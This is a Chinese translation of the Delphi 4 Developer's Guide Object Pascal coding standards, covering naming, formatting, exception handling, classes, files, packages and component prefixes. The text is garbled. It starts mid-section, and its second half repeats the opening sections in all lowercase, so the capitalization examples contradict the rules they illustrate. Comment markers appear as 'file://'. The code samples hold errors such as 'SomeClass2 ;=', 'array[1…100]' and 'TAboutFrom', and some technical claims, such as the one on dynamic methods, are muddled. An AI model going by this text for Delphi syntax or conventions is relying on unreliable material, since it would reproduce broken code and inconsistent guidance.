
例程的名字永远应该以大写的字母开头并且中间错落分明以便于可读性。下面是一个不正确格式的过程名称：
procedure thisisapoorlyformattedroutinename;

下面是一个合适的大小写例程名称的例子：
procedure ThisIsMuchMoreReadableRoutineName;

例程的名称应该同它的内容相符。一个会导致某个行为的例程应以动词开头。例如：
procedure FormatHardDrive;

一个用于设置输入参数的例程应以单词set作为前缀，例如：
procedure SetUserName;

一个用来接收某个值的例程应以单词get作为前缀，例如：
procedure GetUserName : string;

3.3.2 形式参数

3.3.2.1 格式化

如果有的话，相同类型的形参应合并在一个语句中：
procedure Foo(Param1, Param2, Param3 : Integer; Param4 : string);

3.3.2.2 命名

所有形参的名字应是十分符合它们所代表的意义，特别是应该以传送到例程中的标志符的名称为基础。一个好的参数名称应以字符A为前缀 － 例如：
procedure SomeProc(AuserName : string; AuserAge : integer);

“A”前缀按约定表示该参数的名称是与类类型中的一个属性或域的名称相对应的。

3.3.2.3 参数的排序

下面的形参的顺序重点说明了注册者调用约定调用的好处。

－ 最常用的参数应放在第一位，其它的参数应按从左到右的顺序排列。
－ 输入参数列表应放在输出参数列表的左边。
－ 将通用的参数放在特殊参数的左边，例如：
procedure SomeProc(Aplanet, AContinent, Acountry, Astate, Acity)
－ 排序有可能有些例外，比如事件的处理。类型为TObject的Sender参数经常放在第一位。

3.3.2.4 常量参数

当一个参数为记录型、数组类型、ShortString、或接口类型并且在例程中不被改变时，这些参数应做上常量标记。这样做会让编译器更加有效率的产生有关这些不改变的参数的代码。

而例程中另外一些非变参数也可常量来传送。尽管这样做没有产生任何效果和提高效率，这将会给调用例程的使用者提供更多的信息。

3.3.2.5 名称的冲突

当使用拥有两个名称相同的例程的两个单元时，如果你调用该例程时，在uses子句中排在后面的单元中的例程将会被调用。为了解决这种“在uses子句上的模糊”冲突，要在调用该例程时写上相关的单元的前缀，例如：
sysUtile.FindClose(SR);
或
windows.FindClose(Handle);

3.4 变量

3.4.1 变量的命名和格式

变量的命名应以使用它们的目的相符

循环控制变量应采用一个单独的字符作为名字，比如 I，J，或K，也可以采用更加有意义的名字，比如 UserIndex。

逻辑变量的名字应能充分表达准确的真或假的意思。

3.4.2 局部变量

一个过程中的局部变量应遵循所有其它变量的使用和命名约定。临时变量的取名应合理。

如果必须的话，在一进入例程就应初始化局部变量。局部的AnsiString变量会自动初始化为一个空的字符串。
局部接口和派分接口类型变量将会自动初始化为nil，并且局部变数和ole变数类型变量会自动初始化为Unassigned

3.4.3 全局变量的使用

使用全局变量是不推荐的。但是，在某些时候还是必须使用，而且它们也只应在必须使用的时候才使用。在这种时候，你应努力只在一段上下文范围内使用全局变量。例如，一个全局变量只应在一个单元的implemntation部分内是全局的。如果打算在多个单元类使用全局数据，你应将它们移到一个公共的单元中然后被其它所有单元使用。

全局变量可以在var子句中直接初始化为一个值。记住，所有的全局数据会自动初始化为0,因此不要将全局变量初始化为一个“空”值比如 0、nil、’’、Unassigned、等等。这样做的一个理由是因为零－初始化的全局数据在exe文件中不会占据任何空间。零－初始化数据被存储在一个虚拟的数据段，它在应用程序启动后被分配在一段内存中。非零－初始化的全局数据在硬盘的exe文件占用空间。

3.5 类型

3.5.1 大写约定

如果类型的名字是保留字，那么它应全部小写。Win32 API类型通常全部大写，并且你必须遵循在Windows.pas或其他API单元中的详细类型名称的约定。对于其他变量名字，地一个字母应为大写，而其他字母应错落有致。下面是一些例子：
var
MyString : string; file://保留字
WindowHandle : HWND; file://Win32 API 类型
I : Integer; file://在System单元中引进的类型标识符

3.5.1.1 浮点指针类型

不推荐使用Real类型，因为它的存在只是为了向前兼容早期的Pascal代码。在通常情况下用Double来实现浮点指针的需要。并且，Double对处理器和总线而言是做了最优化处理的，它也是IEEE中定义的标准数据格式。只有当需要的范围超出Double所定义的范围时才使用Extended。Extended是intel定义的类型且在Java中不支持。只有当浮点指针变量的实际字节大小有其意义时才使用Single。（比如当使用另一种语言的DLLs时）。

3.5.1.2 枚举类型

枚举类型的名字需符合使用该类型的目的。该类型的名字需以字符T为前缀，以表明这是一个类型。枚举类型中的标识符列表必须包含两个或三个字符的前缀来对应于该枚举类型的名字 － 例如：
TsongType = (stRock, stClassical, stCountry, stAlternative, stHeavyMetal, stRB);
一个枚举类型的实例的名字应与不要前缀的枚举类型（SongType）相同，除非有更好的原因来赋予该变量更特殊的名字，比如：FavoriteSongType1,FavoriteSongType2 等等。

3.5.1.3 变数和ole变数类型

通常不建议使用变数和Ole变数类型。但在只有运行时刻才能知道数据类型的程序中必须使用该类型，这种情形多出现在COM和数据库开发中。Ole变数使用在以COM为基础的编程中例如自动化和ActiveX控制，而变数使用在非COM的编程中，这是因为变数可以十分有效地存储本地Delphi字符串（同一个字符串变量一样），但Ole变数会将所有的字符串转换为Ole字符串（WideChar 字符串）并且并不实例运算 － 它们永远拷贝。

3.5.2 结构类型

3.5.2.1 数组类型

数组类型的名字需符合它们使用的目的。该类型的名字必须加以前缀T。如果须声明该数组类型的指针，那么该指针需加以前缀P而且应立即声明在该数组声明的前面。例如：
type
PCycleArray = ^TCycleArray;
TCycleArray = array[1…100] of integer;
在实际应用中，数组的变量实例的名称应是其类型的名字去掉前缀T。

3.5.2.2 记录类型

记录类型的名字应符合使用它们的目的。其类型的声明应加以前缀T。如果要声明该记录类型的指针，就应加以前缀P并且应紧靠在类型声明的前面声明。例如：
type
PEmployee = ^TEmployee;
TEmployee = record
EmployeeName : string;
EmployeeRate : Double;
end;

3.6 语句

3.6.1 if 语句

在if/then/else语句中最常发生的行为应放在then子句中，而其它发生可能性较小的行为应放在else子句中。

尽量避免使用嵌套的if语句，在这种情形下应用多个if语句来判断各种可能。

不要使用if嵌套超过五级深度。应使代码编写得更加清晰、明了。

不要在if语句中使用不必要的圆括号。

如果在if语句中有多个条件需测试，这些条件应按计算强度由少到多的顺序从左到右排列。这样做能使编译器在编译代码时获得布尔估算逻辑的捷径，从而使你的代码获得最佳的优化。举例来说，如果条件1快过条件2，而条件2快过条件3，那么在if语句中的排列应是：
if 条件1 and 条件2 and 条件3 then

3.6.2 case 语句

3.6.2.1 一般性话题

在一个case语句中的各个独立的单元应以数字或字母顺序排列。

每一个case单元的动作行为应保持简单而不应该超过四到五行代码。如果所要执行的动作过于复杂应采用独立的过程或函数。

Case语句中的else子句只有当需要缺省行为或处理错误时才使用。

3.6.2.2 格式

case语句应遵循其它结构的缩格和命名约定。

3.6.3 while 语句

在一个while语句中不建议使用exit过程来跳出循环，尽量仅使用循环条件来跳出循环。

在一个while循环中所用的初始化代码应紧靠在进入while循环前面出现而不要被其它不相关的语句隔开。

任何结束后的处理应在循环之后立即进行。

3.6.4 for 语句

for语句只有当循环次数已知的情况下才能取代while语句使用。

3.6.5 repeat 语句

repeat语句的使用同while语句一样，并且遵循同样的通用方针。

3.6.6 with 语句

3.6.6.1 一般话题

with语句应节省使用，并且带有大量的警告。避免过度使用with语句并且在with语句中小心使用多个对象、记录等等。例如：
with Record1, Record2 do
这些事情会使程序员感到困惑并难以发现问题所在。

3.6.6.2 格式

with 语句遵循本文档所说明的命名约定和缩格的格式规则。

3.7 结构异常处理

3.7.1 一般话题

异常的处理大量地使用在错误纠正和资源保护方面。这就是说一旦资源被分配，一个try…finally必需加以使用来保证该资源被正确的释放。这种异常的保护也是指在一个单元的initializition/finalization或一个对象的constructor/destructor中进行资源的分配和释放。

3.7.2 try…finally的使用

任何情形下，每一次的分配都应跟随一个try…finally。举例来说，下面的代码会造成可能的错误：
SomeClass1 := TsomeClass.Create;
SomeClass2 ;= TsomeClass.Create;
try
{ do some code }
finally
SomeClass1.Free;
SomeClass2.Free;
end;

一个更安全更合适的分配过程应是：
SomeClass1 := TSomeClass.Create;
try
SomeClass2 := TsomeClass.Create;
try
{ do some code }
finally
SomeClass2.Free;
end;
finally
SomeClass1.Free;
end;

3.7.3 try…except的使用

只有当在异常被触发而你想执行一些任务时才使用try…except。通常，你没有必要为了只是简单地在屏幕上显示一个错误信息而使用try…except语句，因为这会被Application对象自动执行。如果你想在except子句中执行完一些任务之后调用缺省的异常处理，使用raise来重新触发异常到下一个句柄。

3.7.4 try…except…else的使用

try…except中的else子句不建议使用，因为它会打断所有的异常包括那些你没有准备的异常。

3.8 类类型

3.8.1 命名和格式

类类型的名称应符合使用它们的目的。类型名字应加以前缀T以表明这是一个类型的定义 － 例如：
type
Tcustomer = class(TObject)
类型的实例通常是没有前缀T的类型的名字 － 例如：
var
Customer :Tcustomer;
注意：查阅“构件类型的命名标准”来获得更多有关构件命名的信息。

3.8.2 域

3.8.2.1 命名/格式

类的域名遵循与变量标识符同样的约定除了它们应以F为前缀，来表明这是一个域的名称。

3.8.2.2 可视化

所有的域都必需是私有的。想在类的范围之外存取域得通过属性来使用。

3.8.3 方法

3.8.3.1 命名/格式

方法的命名应遵循本文档中有关过程和函数的约定叙述。

3.8.3.2 使用静态的方法

如果使用一个静态的方法，那么该方法就不能被该类的后代类所继承。

3.8.3.3 使用虚拟/动态的方法

如果你打算该类的方法能被后代的类所继承就得使用虚拟的方法。只有在该方法有多个继承时（直接的或间接的）才使用动态的方法。例如，一个类类型包含一个可继承的方法，而100个后代类要继承这种方法，那么这个方法就会动态地产生为100个后代类使用的内存。

3.8.3.4 使用抽象的方法

如果在一个类中使用抽象的方法，该类就不能被创建。只有在那些永远不会被创建的类中使用抽象的方法。

3.8.3.5 属性存取方法

所有存取类的方法都只能出现在类的private或protected部分。属性存取方法的命名应遵循过程和函数的约定规则。读取存取方法（方法读取器）必需以单词Get为前缀。写入存取方法（方法写入器）必需以单词Set为前缀。方法写入器的参数的名字应为Value，并且它的类型应是它所操作的属性的类型。例如：
TSomeClass = class(TObject)
private
FsomeField : Integer;
protected
function GetSomeField : Integer;
procedure SetSomeField(Value : Integer);
public
property SomeField : Integer read GetSomeField write SetSomeField;
end;

3.8.4 属性

3.8.4.1 命名/格式

属性如果是表示为一个私有域的存取器的话，那么它的名字应是它们所操作的域的名字除去解释符F。

属性的名字应是名词，不是动词。属性表示的是数据，而方法表示的是行为。

数组类型的名称应为复数。一般情况下属性的名称应为单数。

3.8.4.2 使用存取的方法

尽管没有要求，但还是建议尽量少地为一个表示私有域的属性而使用写入存取方法。

四、文件

4.1 工程文件

4.1.1 命名

工程文件应取个描述性的名字。例如，Delphi 4开发者指南错误管理器 的工程名字是：DDGBugs.dpr。一个有关系统信息的程序的名字就应象 SysInfo.dpr。

4.2 窗体文件

4.2.1 命名

一个窗体文件的取名应可以描述使用该窗体的目的，并加以后缀Frm。例如，一个“关于”的窗体的文件名应是AboutFrm.dpr。主窗体的文件名应是MainFrm.dpr。

4.3 数据模板文件

4.3.1 命名

数据模板的取名应能表示使用该数据模板的目的，它的名称应加以两个字符的后缀DM。例如，自定义数据模板的文件名字应为CustomersDM.dfm。

4.4 远端数据模板文件

4.4.1 命名

远端数据模板的取名应能表示使用该远端数据模板的目的，它的名称应加以三个字符的后缀RDM。例如，自定义远端数据模板的文件名字应为CustomersRDM.dfm。

4.5 Unit文件

4.5.1 通用Unit结构

4.5.1.1 unit的名字

Unit文件应取一个可描述性的名字。例如，包含应用程序主窗体的单元应叫做MainFrm.pas。

4.5.1.2 uses子句

在interface部分的uses子句应包含在interface部分中的代码所需要的单元。去掉那些Delphi可以自动加入到程序中的单元。

在implementation部分的uses子句应只包含在implementation部分中的代码所需要的单元的名字。去掉不必要的单元。

4.5.1.3 interface部分

interface部分应包含只那些其它单元所需要存取类型的定义、变量、过程/函数的预定义等等。否则，就应放在implementation部分定义。

4.5.1.4 implementation部分

implementation部分应包含那些只在本单元中私用的类型定义、变量、过程/函数定义等等。

4.5.1.5 initialization部分

不要在initialization 部分放入耗时长的代码，这将使程序的第一个界面出现
得比较缓慢。

4.5.1.6 finalization部分

在这里要保证释放你在Initialization部分所分配的任何资源。

4.5.2 窗体单元

4.5.2.1 命名

一个窗体的单元文件应拥有与它所对应的窗体文件同样的名称。例如，“关于”窗体的单元名称应为 AboutFrm.pas，而主窗体的单元名称应为MainFrm.pas。

4.5.3 数据模板单元

4.5.3.1 命名

一个数据模板的单元文件应拥有与它所对应的数据模板文件同样的名称。例如，一个自定义数据模板单元的名称应为CustomersDM.pas。

4.5.4 一般目的单元

4.5.4.1 命名

一般目的单元的取名应符合使用该单元的目的。例如，一个实用程序单元取名为BugUtilities.pas。一个包含全局变量的单元取名为CustomerGlobals.pas。

注意，该单元的名字不能与它的工程中所使用的所有包中的单元的名字相同。不赞成使用一般的或通用的单元名字。

4.5.5 构件单元

4.5.5.1 命名

构件单元应放在独立的目录，以将它们同定义构件组或构件集合的单元区分开来。它们要永远同工程在不同的目录。单元名字应同它们的内容相符。

注意：查阅“用户定义的构件”部分来获得更多有关构件命名标准的信息。

4.6 文件头

建议在所有源文件、工程文件、单元等等中使用信息化文件头。一个良好的文件头应包含以下信息：
｛
版权… 著作的年、月、日…
}

五、窗体和数据模板

5.1 窗体

5.1.1 窗体类型命名标准

窗体类型的取名应能表达使用该窗体的目的。类型定义应加以前缀T。前缀后面跟随着描述性的名字。最后，应加以Form后缀来描述名字。例如，一个“关于”的窗体的类型的名字应为：
TAboutFrom = class(TForm);
主窗体的定义为：
TMainForm = class(TForm);
一个用户接入窗体的名字应象：
TCustomerEntryForm = class(TForm);

5.1.2 窗体实例命名标准

窗体实例应是没有带前缀T的相应类的名字。例如，对应于前面窗体类型而言，其实例的名字应为：

类型名称 实例名称
TAboutForm AboutForm
TMainForm MainForm
TCustomerEntryForm CustomerEntryForm

5.1.3 自动创建窗体

只有主窗体可以是自动创建的除非有其它更好的理由不这样做。所有其它的窗体必需从工程选项对话框中的自动创建列表中移走。查阅以下部分来获得更多的信息。

5.1.4 模式窗体实例化函数

所有的窗体单元都应包含一个窗体实例化函数，该函数用来创建、设置、模式地显示窗体，并释放窗体。该函数应返回窗体的模式结果。该函数要传递的参数应遵循本文档指定的“参数传递”标准。通过这种方式封装的函数性有助于代码的再利用和维护。

该窗体的变量要从单元中移走，并再窗体实例的函数中进行本地式地定义。注意，这就意味着该窗体必需从工程/选项对话框中的自动创建列表中剔除。参考本文档后面的“自动创建窗体”。

例如，下面的单元展示了再GetUserData窗体中的一个函数。
unit UserDataFrm;
interface
uses
windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TUserDataForm = class(TForm)
edtUserName : TEdit;
edtUserID : TEdit;
private
{ Private declarations }
public
{ Public declarations }
end;
function GetUserData(var aUserName ： String; var aUserID : Integer) :
Word;
implementation
{$R *.DFM }

function GetUserData(var aUserName : String; var aUserID : Integer) :
word;
var
UserDataForm : TuserDataForm;
begin
UserDataForm := TuserDataForm.Create(Application);
try
UserDataForm.Caption := ‘Getting User Data’;
Result := UserDataForm.ShowModal;
if (Result = mrOK) then
begin
aUserName := UserDataForm.edtUserName.Text;
aUserID := StrToInt(UserDataForm.edtUserID.Text);
end;
finally
UserDataForm.Free;
end;
end;
end.

5.2 数据模板

5.2.1 数据模板命名标准

数据模板的取名要符合使用该数据模板的目的。类型的定义应加以前缀T，后面紧接着描述性的名字，最后要加以后缀单词“DataModule”。例如，一个自定义的数据模板有时候应该象：
TCustomerDataModule = class(TDataModule)
一个命令式的数据模板的名字应象：
TOrdersDataModule = class(TDataModule)

5.2.2 数据模板实例命名标准

数据模板实例的名称应是对应不带前缀T的类型的名称。例如，对于前面的窗体类型而言，其实例的名称应为：
类型名称 实例名称
TCustomerDataModule CustomerDataModule
TOrdersDataModule OrdersDataModule

六、包

6.1 使用运行包和设计包的比较

运行时刻的包应只包含其它构件包所要求的单元或构件。另外，包含属性/构件编辑器和其它只为设计的代码应放入到设计时刻包中。注册单元应放在设计包中。

6.2 文件命名标准

包的名称应依照下面的例子：
“iiilibvv.pkg” － 设计时刻包
“iiistdvv.pkg” － 运行时刻包
字符“iii”表示一个3字符标识前缀。这个前缀用来表明公司、个人或其它有标识意义的实体。

字符“vv”表示为该包想要对应Delphi某个版本的包的版本号。

注意，包的名字中包含“lib”或“std”的意思是表明这是一个设计时刻包还是一个运行时刻包。

如果既是设计时刻包又是运行时刻包，该文件的命名是同上面一样的，例如，为Delphi 4开发者指南做的包的名称应为：

DdgLib40.pkg – 设计时刻包
DdgStd40.pkg – 运行时刻包

七、构件

7.1 用户自定义构件

在标准构件中命名出来的构件的名称同在“类类型”部分定义中的一样定义成一个类类型，不同的是它们有一个3字符的指示前缀，这个前缀可以表示公司、个人或其它实体。例如，一个为Delphi 4开发者指南编写的时钟构件的名称定义为：
TddgClock = class(TComponent)
注意，那三个前缀字符是小写的。

7.2 构件单元

构件单元应只包含一个主要的构件，一个主要的构件是指出现在构件栏中的构件。主要构件的辅助构件/对象应放入到同一个单元中。

7.3 使用注册单元

构件的注册过程应从构件本身的单元中剔除，并放入到一个独立的单元中。这个注册单元可以用来注册任何构件、属性编辑器、构件编辑器、专家器等。

构件的注册只应在设计时刻包中进行，注册单元应包含在设计时刻包中而不应放在运行时刻包中。

推荐使用的注册单元的名称是：
XxxReg.pas
上面的3个前缀字符“Xxx”用来表示一个公司、个人或任何其它的实体。例如，在Delphi 4 开发者指南中的注册单元的名称应为 DdgReg.pas。

7.4 构件实例命名约定

所有的构件都应取个描述性的名称。由Delphi创建的缺省名的构件不会被遗弃。在设计构件类型时应设计一个小写的前缀。使用前缀而不使用后缀的原因是在搜寻时，在对象检查器和代码探索器中搜寻构件的名字比搜寻构件的类型更容易实现。

7.5 构件的前缀

以下构件的前缀可以用来设计Delphi 4中的标准构件。请在此列表中加入第三方构件的前缀。

7.6 Standard页
前缀 构件
mm TMainMenu
pm TPopupMenu
mmi TMainMenuItem
pmi TPopupMenuItem
前缀 构件
lbl TLabel
edt TEdit
mem TMemo
btn TButton
cb TCheckBox
rb TRadioBox
lb TListBox
cb TComboBox
scb TScrollBar
gb TGroupBox
rg TRadioGroup
pnl TPanel
cl TCommandList
7.7 Additional页
bbtn TBitBtn
sb TSpeedButton
me TMaskEdit
sg TStringGrid
dg TDrawGrid
img TImage
shp TShape
bvl TBevel
sbx TScrollBox
clb TCheckListbox
spl TSplitter
stx TStaticText
cht TChart
7.8 Win32页
tbc TTabControl
pgc TPageControl
il TImageList
re TRichEdit
thr TTrackBar
prb TProgressBar
ud TUpDown
hk THotKey
ani TAnimate
dtp TDateTimePicker
tv TTreeView
lv TListView
hdr THeaderControl
前缀 构件
stb TStatusBar
tlb TToolBar
clb TCoolBar
7.9 System页
tm TTimer
pb TPaintBox
mp TMediaPlayer
olec TOleContainer
ddcc TDDEClientItem
ddci TDDEClientItem
ddsc TDDEServerConv
ddsi TDDEServerItem
7.10 Internet页
csk TClientSocket
ssk TServerSocket
wbd TWebDispatcher
pp TPageProducer
tp TQueryTableProducer
dstp TDataSetTableProducer
nmdt TNMDayTime
nec TNMEcho
nf TNMFinger
nftp TNMFtp
nhttp TNMHttp
nMsg TNMMsg
nmsg TNMMSGServ
nntp TNMNNTP
npop TNMPop3
nuup TNMUUProcessor
smtp TNMSMTP
nst TNMStrm
nsts TNMStrmServ
ntm TNMTime
nudp TNMUdp
psk TPowerSock
ngs TNMGeneralServer
html THtml
url TNMUrl
sml TSimpleMail

7.11 Data Access页
前缀 构件
ds TDataSource
tbl TTable
qry TQuery
sp TStoredProc
db TDataBase
ssn TSession
bm TBatchMove
usql TUpdateSQL
7.12 Data Controls页
dbg TDBGrid
dbn TDBNavigator
dbt TDBText
dbe TDBEdit
dbm TDBMemo
dbi TDBImage
dblb TDBListBox
dbcb TDBComboBox
dbch TDBCheckBox
dbrg TDBRadioGroup
dbll TDBLookupListBox
dblc TDBLookupComboBox
dbre TDBRichEdit
dbcg TDBCtrlGrid
dbch TDBChart
7.13 Decision Cube页
dcb TDecisionCube
dcq TDecisionQuery
dcs TDecisionSource
dcp TDecisionPivot
dcg TDecisionGrid
dcgr TDecisionGraph
7.14 QReport页
qr TQuickReport
qrsd TQRSubDetail
qrb TQRBand
qrcb TQRChildBand
qrg TQRGroup
qrl TQRLabel
前缀 构件
qrt TQRText
qre TQRExpr
qrs TQRSysData
qrm TQRMemo
qrrt TQRRichText
qrdr TQRDBRichText
qrsh TQRShape
qri TQRImage
qrdi TQRDBMImage
qrcr TQRCompositeReport
qrp TQRPreview
qrch TQRChart
7.15 Dialogs页
对话框构件是由构件封装的真正的窗体，因此，它们应遵循窗体的命名约定。类型已由构件的名称定义。它的实例的名称是Delphi自动生成的类型实例名字去掉数字后缀。举例如下：
类型 实例名字
TOpenDialog OpenDialog
TSaveDialog SaveDialog
TOpenPictureDialog OpenPictureDialog
TSavePictureDialog SavePictureDialog
TFontDialog FontDialog
TColorDialog ColorDialog
TPrintSetupDialog PrintSetupDialog
TFindDialog FindDialog
TReplaceDialog ReplaceDialog
7.16 Win3.1页
dbll TDBLookupList
dblc TDBLookupCombo
ts TTabSet
ol TOutline
tnb TTabbedNoteBook
nb TNoteBook
hdr THeader
flb TFileListBox
dlb TDirectoryListBox
dcb TDriveComboBox
fcb TFliterComboBox
7.17 Samples页
gg TGauge
前缀 构件
cg TColorGrid
spb TSpinEdit
spe TSpinEdit
dol TDirectoryOutline
cal TCalendar
ibea TIBEventAlerter
7.18 ActiveX页
cfx TChartFX
vsp TVSSpell
f1b TF1Book
vtc TVTChart
grp TGraph
7.19 Midas页
prv TProvider
cds TClientDataSet
qcds TQueryClientDataSet
dcom TDCOMConnection
olee TOleEnterpriseConnection
sck TSocketConnection
rms TRemoteServer
mid TMidasConnection
一、序言

本文档详述了在delphi 4开发者指南下进行编程的代码编写标准。在通常情况下，本文档遵循“取消”式格式的指引方针，该方针由borland国际通过一些例外来使用。在delphi 4开发者指南中包含本文档的目的在于阐述一种方法，通过该方法，开发小组可以在他们所编写的代码中保持一贯的风格。这样做的目的是使在开发小组中的每一个程序员都可以明白其他程序员的代码。这有助于提高代码编写的可读性和使用的一贯性。

本文档并不意味着包含了所有存在于代码中的标准。但是，它的内容已足够帮你起个好头。你可以自由的增加修改这些标准来满足你的需要。我们不赞成你偏离这些由borland开发人员所使用的标准太远。我们推荐这么做是因为一旦有新的程序员加入到你的开发小组中，而他们最喜欢和最熟悉的是borland的标准。象大多数代码标准文档，本文档也会根据需要进行改动。因此，你可以到www.xapware.com/ddg中找到最新的更新版本。本文档不包括用户接口标准。本文档是独立的但也是同样重要的。已经有足够的第三方书籍和microsoft文档包括了另外一些指导方针，而我们决定并不复制这些信息，但我们会指引你到microsoft developers network 和一些资源，在那儿可以找到你所需的信息。

二、通用源代码格式规则

2.1 缩格

缩格是指在每一级有两个空格。不要在源代码中保留tab字符，这是因为tab字符会随着不同用户的不同设置和不同的资源管理工具（打印、文档、版本控制等）而代表不同的宽度。

你可以通过关闭environment选项对话框中editor页上的“use tab character”和“optimal fill”检查框（通过tools|environment）来禁止保存tab字符。

2.2 页边空格

页边空格会被设置成80字符宽。通常，源码不会超出这个边界，但这个方针会有一些弹性。不管是否有可能，那些超出到另一行的语句会在一个逗号或其他操作符之后与前面的语句相连。当一个语句被打断相连时，它应比原来的那一行语句缩进两个字符。

2.3 begin…end 配对

begin 子句应写在独立的一行。例如，下面第一行是错误的写法而第二行是正确的。

for i := 0 to 10 do begin file://错误，begin同for在同一行

for i := 0 to 10 do file://正确，begin出现在独立的一行

begin

这个规则的例外是当begin子句的出现是作为一个else子句的一部分－参考例子：

if some statement then

begin

…

end

else begin

someotherstatement;

end;

end 语句永远出现在独立的一行。

当begin语句不是一个else子句的一部分时，相应的end语句永远缩进到与begin部分相对应的位置。

三、object pascal

3.1 括号

永远不要在括号与括号之间的字符中间留下空格。下面的例子示范了错误的与正确地使用括号中的空格：

callproc( aparameter ); file://错误

callproc(aparameter); file://正确

永远不要在一个语句中使用不必要的括号。括号只应在源代码中需要的地方使用。以下的例子示范了错误和正确的使用：

if (i = 42) then file://错误 － 多余的括号

if (i = 42) or (j = 42) then file://正确－ 需要括号

3.2 保留字和关键字

object pascal 保留字和关键字永远是全部小写。

3.3 过程和函数（例程）

3.3.1 命名/格式化

例程的名字永远应该以大写的字母开头并且中间错落分明以便于可读性。下面是一个不正确格式的过程名称：

procedure thisisapoorlyformattedroutinename;

下面是一个合适的大小写例程名称的例子：

procedure thisismuchmorereadableroutinename;

例程的名称应该同它的内容相符。一个会导致某个行为的例程应以动词开头。例如：

procedure formatharddrive;

一个用于设置输入参数的例程应以单词set作为前缀，例如：

procedure setusername;

一个用来接收某个值的例程应以单词get作为前缀，例如：

procedure getusername : string;

3.3.2 形式参数

3.3.2.1 格式化

如果有的话，相同类型的形参应合并在一个语句中：

procedure foo(param1, param2, param3 : integer; param4 : string);

3.3.2.2 命名

所有形参的名字应是十分符合它们所代表的意义，特别是应该以传送到例程中的标志符的名称为基础。一个好的参数名称应以字符a为前缀－ 例如：

procedure someproc(ausername : string; auserage : integer);

“a”前缀按约定表示该参数的名称是与类类型中的一个属性或域的名称相对应的。

3.3.2.3 参数的排序

下面的形参的顺序重点说明了注册者调用约定调用的好处。

－ 最常用的参数应放在第一位，其它的参数应按从左到右的顺序排列。

－ 输入参数列表应放在输出参数列表的左边。

－ 将通用的参数放在特殊参数的左边，例如：

procedure someproc(aplanet, acontinent, acountry, astate, acity)

－ 排序有可能有些例外，比如事件的处理。类型为tobject的sender参数经常放在第一位。

3.3.2.4 常量参数

当一个参数为记录型、数组类型、shortstring、或接口类型并且在例程中不被改变时，这些参数应做上常量标记。这样做会让编译器更加有效率的产生有关这些不改变的参数的代码。

而例程中另外一些非变参数也可常量来传送。尽管这样做没有产生任何效果和提高效率，这将会给调用例程的使用者提供更多的信息。

3.3.2.5 名称的冲突

当使用拥有两个名称相同的例程的两个单元时，如果你调用该例程时，在uses子句中排在后面的单元中的例程将会被调用。为了解决这种“在uses子句上的模糊”冲突，要在调用该例程时写上相关的单元的前缀，例如：

sysutile.findclose(sr);

或

windows.findclose(handle);

3.4 变量

3.4.1 变量的命名和格式

变量的命名应以使用它们的目的相符

循环控制变量应采用一个单独的字符作为名字，比如 i，j，或k，也可以采用更加有意义的名字，比如 userindex。

逻辑变量的名字应能充分表达准确的真或假的意思。

3.4.2 局部变量

一个过程中的局部变量应遵循所有其它变量的使用和命名约定。临时变量的取名应合理。

如果必须的话，在一进入例程就应初始化局部变量。局部的ansistring变量会自动初始化为一个空的字符串。

局部接口和派分接口类型变量将会自动初始化为nil，并且局部变数和ole变数类型变量会自动初始化为unassigned

3.4.3 全局变量的使用

使用全局变量是不推荐的。但是，在某些时候还是必须使用，而且它们也只应在必须使用的时候才使用。在这种时候，你应努力只在一段上下文范围内使用全局变量。例如，一个全局变量只应在一个单元的implemntation部分内是全局的。如果打算在多个单元类使用全局数据，你应将它们移到一个公共的单元中然后被其它所有单元使用。

全局变量可以在var子句中直接初始化为一个值。记住，所有的全局数据会自动初始化为0,因此不要将全局变量初始化为一个“空”值比如 0、nil、’’、unassigned、等等。这样做的一个理由是因为零－初始化的全局数据在exe文件中不会占据任何空间。零－初始化数据被存储在一个虚拟的数据段，它在应用程序启动后被分配在一段内存中。非零－初始化的全局数据在硬盘的exe文件占用空间。

3.5 类型

3.5.1 大写约定

如果类型的名字是保留字，那么它应全部小写。win32 api类型通常全部大写，并且你必须遵循在windows.pas或其他api单元中的详细类型名称的约定。对于其他变量名字，地一个字母应为大写，而其他字母应错落有致。下面是一些例子：

var

mystring : string; file://保留字

windowhandle : hwnd; file://win32 api 类型

i : integer; file://在system单元中引进的类型标识符

3.5.1.1 浮点指针类型

不推荐使用real类型，因为它的存在只是为了向前兼容早期的pascal代码。在通常情况下用double来实现浮点指针的需要。并且，double对处理器和总线而言是做了最优化处理的，它也是ieee中定义的标准数据格式。只有当需要的范围超出double所定义的范围时才使用extended。extended是intel定义的类型且在java中不支持。只有当浮点指针变量的实际字节大小有其意义时才使用single。（比如当使用另一种语言的dlls时）。

3.5.1.2 枚举类型

枚举类型的名字需符合使用该类型的目的。该类型的名字需以字符t为前缀，以表明这是一个类型。枚举类型中的标识符列表必须包含两个或三个字符的前缀来对应于该枚举类型的名字－ 例如：

tsongtype = (strock, stclassical, stcountry, stalternative, stheavymetal, strb);

一个枚举类型的实例的名字应与不要前缀的枚举类型（songtype）相同，除非有更好的原因来赋予该变量更特殊的名字，比如：favoritesongtype1,favoritesongtype2 等等。

3.5.1.3 变数和ole变数类型

通常不建议使用变数和ole变数类型。但在只有运行时刻才能知道数据类型的程序中必须使用该类型，这种情形多出现在com和数据库开发中。ole变数使用在以com为基础的编程中例如自动化和activex控制，而变数使用在非com的编程中，这是因为变数可以十分有效地存储本地delphi字符串（同一个字符串变量一样），但ole变数会将所有的字符串转换为ole字符串（widechar 字符串）并且并不实例运算 － 它们永远拷贝。

3.5.2 结构类型

3.5.2.1 数组类型

数组类型的名字需符合它们使用的目的。该类型的名字必须加以前缀t。如果须声明该数组类型的指针，那么该指针需加以前缀p而且应立即声明在该数组声明的前面。例如：

type

pcyclearray = ^tcyclearray;

tcyclearray = array[1…100] of integer;

在实际应用中，数组的变量实例的名称应是其类型的名字去掉前缀t。

3.5.2.2 记录类型

记录类型的名字应符合使用它们的目的。其类型的声明应加以前缀t。如果要声明该记录类型的指针，就应加以前缀p并且应紧靠在类型声明的前面声明。例如：

type

pemployee = ^temployee;

temployee = record

employeename : string;

employeerate : double;

end;

3.6 语句

3.6.1 if 语句

在if/then/else语句中最常发生的行为应放在then子句中，而其它发生可能性较小的行为应放在else子句中。

尽量避免使用嵌套的if语句，在这种情形下应用多个if语句来判断各种可能。

不要使用if嵌套超过五级深度。应使代码编写得更加清晰、明了。

不要在if语句中使用不必要的圆括号。

